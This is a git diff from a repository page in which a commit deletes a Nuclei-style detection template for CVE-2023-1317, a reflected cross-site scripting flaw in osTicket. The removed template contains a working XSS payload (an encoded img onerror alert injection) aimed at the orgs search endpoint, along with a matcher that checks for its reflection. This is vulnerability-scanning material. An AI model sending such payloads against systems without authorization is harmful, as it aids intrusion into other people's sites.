Update and rename to abc
parent
7461ace8de
commit
7bb544c037
|
@ -1,35 +0,0 @@
|
|||
id: CVE-2023-1317
|
||||
|
||||
info:
|
||||
name: osTicket < v1.17.2-9-g61263635 - Cross-site Scripting (XSS) - Reflected
|
||||
author: ctflearner
|
||||
severity: medium
|
||||
description: |
|
||||
Cross-site Scripting (XSS) - Reflected in GitHub repository osticket/osticket prior to v1.16.6.
|
||||
|
||||
reference:
|
||||
- https://huntr.com/bounties/c3e27af2-358b-490b-9baf-e451663e4e5f
|
||||
- https://nvd.nist.gov/vuln/detail/CVE-2023-1317
|
||||
|
||||
classification:
|
||||
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
|
||||
cvss-score: 5.4
|
||||
cve-id: CVE-2023-1317
|
||||
cwe-id: CWE-79
|
||||
|
||||
metadata:
|
||||
verified: true
|
||||
max-request: 1
|
||||
product: osTicket
|
||||
tags: cve2023,cve,huntr,osTicket,reflectedxss,xss
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/osTicket/scp/ajax.php/orgs/search?q=osTicket%3Cimg%20src%3da%20onerror%3dalert(1337)%3E"
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
part: body
|
||||
words:
|
||||
- "alert(1337)"
|
|
@ -0,0 +1 @@
|
|||
|
Loading…
Reference in New Issue